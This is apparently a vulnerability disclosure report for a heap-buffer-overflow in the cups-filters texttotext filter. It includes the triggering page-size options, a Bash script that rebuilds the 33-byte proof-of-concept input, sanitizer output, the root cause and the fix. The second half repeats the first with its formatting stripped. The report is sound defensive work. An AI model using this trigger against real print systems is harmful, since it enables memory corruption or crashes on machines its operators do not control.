Summary
cfFilterTextToText() calculates its output-page allocation in a signed
int from attacker-controlled page dimensions. A large valid-positive
PageWidth wraps the allocation size to 16 bytes while the formatter retains
the original logical width. Document bytes then write beyond the undersized
heap allocation.
The failure is reached through the normal standalone texttotext filter with
a one-byte text document and job options. No fuzzing harness, malformed
container, or source modification is used.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.txt contains 32 A bytes followed by a newline (33 bytes),
with SHA-256
5692aefd04b9db8cc54cbd06ef91e0e427badee11ff46b2d5c6ab6c3173ed771.
The options are:
PageWidth=1073741824 PageHeight=1 PageLeft=0
Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: texttotext: page-size integer overflow causes a heap-buffer-overflow
# Finding ID: texttotext-page-size-integer-overflow
# Trigger: cfFilterTextToText() calculates its output-page allocation in a
# signed int from attacker-controlled page dimensions. A large valid-positive
# PageWidth wraps the allocation size to 16 bytes while the formatter retains
# the original logical width. Document bytes then write beyond the undersized
# heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (33 bytes)
write_file document.txt 5692aefd04b9db8cc54cbd06ef91e0e427badee11ff46b2d5c6ab6c3173ed771 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA3N0xA+4AJ8KdcghAAAA
POC_PAYLOAD_0
Result
UBSan first reports signed integer overflow at texttotext.c:774. ASan then
reports:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
cfFilterTextToText .../cupsfilters/texttotext.c:1088
0 bytes after 16-byte region
The non-sanitized build writes the left margin and document beyond the
allocation, then aborts during heap cleanup with:
free(): invalid next size (fast)
Cause and expected behavior
PageWidth and PageHeight accept any positive value parsed by atoi().
Line 774 evaluates:
page_size = ((num_columns + 2) * num_lines + 2) * 4;
entirely in signed int. With the dimensions above, the final multiplication
wraps to 16. calloc() therefore returns a 16-byte page while
num_columns=1073741824 remains unchanged. At line 1088, the formatter copies
the ASCII document into the page according to that logical width. The first
16 bytes fill the allocation and the remaining attacker-selected bytes
overwrite following heap memory.
The dimensions must be bounded before layout, the allocation calculation must
use checked size_t arithmetic, and allocation failure must be handled before
using out_page.
Summary
cfFilterTextToText()calculates its output-page allocation in a signedintfrom attacker-controlled page dimensions. A large valid-positivePageWidthwraps the allocation size to 16 bytes while the formatter retainsthe original logical width. Document bytes then write beyond the undersized
heap allocation.
The failure is reached through the normal standalone
texttotextfilter witha one-byte text document and job options. No fuzzing harness, malformed
container, or source modification is used.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dpoc/document.txtcontains 32Abytes followed by a newline (33 bytes),with SHA-256
5692aefd04b9db8cc54cbd06ef91e0e427badee11ff46b2d5c6ab6c3173ed771.The options are:
Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
UBSan first reports signed integer overflow at
texttotext.c:774. ASan thenreports:
The non-sanitized build writes the left margin and document beyond the
allocation, then aborts during heap cleanup with:
Cause and expected behavior
PageWidthandPageHeightaccept any positive value parsed byatoi().Line 774 evaluates:
entirely in signed
int. With the dimensions above, the final multiplicationwraps to 16.
calloc()therefore returns a 16-byte page whilenum_columns=1073741824remains unchanged. At line 1088, the formatter copiesthe ASCII document into the page according to that logical width. The first
16 bytes fill the allocation and the remaining attacker-selected bytes
overwrite following heap memory.
The dimensions must be bounded before layout, the allocation calculation must
use checked
size_tarithmetic, and allocation failure must be handled beforeusing
out_page.